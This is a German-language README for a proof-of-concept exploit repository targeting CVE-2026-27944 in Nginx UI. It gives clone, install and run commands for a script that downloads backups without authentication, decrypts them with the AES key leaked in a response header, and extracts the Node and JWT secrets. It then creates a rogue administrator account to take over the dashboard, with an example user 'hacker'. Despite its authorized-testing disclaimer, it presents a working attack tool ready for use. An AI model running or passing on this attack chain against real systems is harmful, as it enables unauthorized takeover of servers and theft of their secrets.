
Automatisierter Exploit für CVE-2026-27944 in Nginx UI: lädt Backups herunter und entschlüsselt sie, extrahiert Geheimnisse und erstellt betrügerische Admin-Konten zur vollständigen Übernahme des Dashboards.
Dieses Repository enthält einen erweiterten Proof-of-Concept (POC)-Exploit für CVE-2026-27944, eine kritische Schwachstelle in Nginx UI.
Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, System-Backups über den /api/backup-Endpunkt herunterzuladen. Darüber hinaus gibt die Anwendung den AES-256-Verschlüsselungsschlüssel und den IV im HTTP-Antwortheader X-Backup-Security preis, sodass der Angreifer das heruntergeladene Backup problemlos entschlüsseln kann.
Dieser erweiterte POC automatisiert die gesamte Angriffskette: Herunterladen des Backups, Entschlüsseln seines Inhalts, Extrahieren von Konfigurationsgeheimnissen (wie dem Node Secret und JWT Secret) und Nutzung dieser Geheimnisse, um die Authentifizierung zu umgehen und ein betrügerisches Administratorkonto für die vollständige Übernahme des Dashboards zu erstellen.
Dieses Tool dient nur zu Bildungszwecken und für autorisierte Penetrationstests. Verwenden Sie dieses Tool nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Skript verursacht werden.
X-Backup-Security-Header, um den Base64-kodierten AES-Schlüssel und IV zu extrahieren, und entschlüsselt das Backup (AES-256-CBC).app.ini, um sensible Informationen zu extrahieren:
X-Node-Secret-Header), um mit der API zu interagieren und einen neuen Administrator-Benutzer zu erstellen.pycryptodome-Bibliothek (für AES-Entschlüsselung erforderlich)Klonen Sie das Repository:
git clone https://github.com/Skynoxk/CVE-2026-27944-POC.git
cd CVE-2026-27944-POC
Installieren Sie die erforderlichen Abhängigkeiten:
pip install pycryptodome
python exploit_enhanced.py --target <URL> [OPTIONEN]
1. Nur Backup herunterladen und entschlüsseln:
python exploit_enhanced.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
2. Herunterladen, entschlüsseln und Konfigurationsgeheimnisse extrahieren:
python exploit_enhanced.py --target http://127.0.0.1:9000 --decrypt --show-secrets
3. Vollständige Exploit-Kette (Herunterladen, Entschlüsseln, Geheimnisse extrahieren und Admin erstellen):
python exploit_enhanced.py --target http://127.0.0.1:9000 --decrypt --create-user hacker --password Pwned@123!
Wenn das --create-user-Flag erfolgreich verwendet wird, gibt das Skript detaillierte Methoden für den Zugriff auf das Nginx-UI-Dashboard aus, darunter:
authorization-Cookies mit dem abgerufenen JWT-Token.curl-Befehle mit dem X-Node-Secret-Header zur Umgehung der Authentifizierungsmechanismen.| Argument | Beschreibung | Standard |
|---|
--target | (Erforderlich) Basis-URL der Nginx-UI-Instanz (z. B. http://127.0.0.1:9000) | |
--out | Dateipfad zum Speichern des verschlüsselten Backups | backup.bin |
--decrypt | Entschlüsselt das heruntergeladene Backup | False |
--extract-dir | Verzeichnis zum Extrahieren der entschlüsselten Dateien | backup_extracted |
--show-secrets | Extrahiert und zeigt sensible Geheimnisse aus app.ini an | False |
--create-user | Erstellt einen Admin-Benutzer für den Dashboard-Zugriff (Benutzernamen angeben) | |
--password | Passwort für den neu erstellten Admin-Benutzer | Admin@123456 |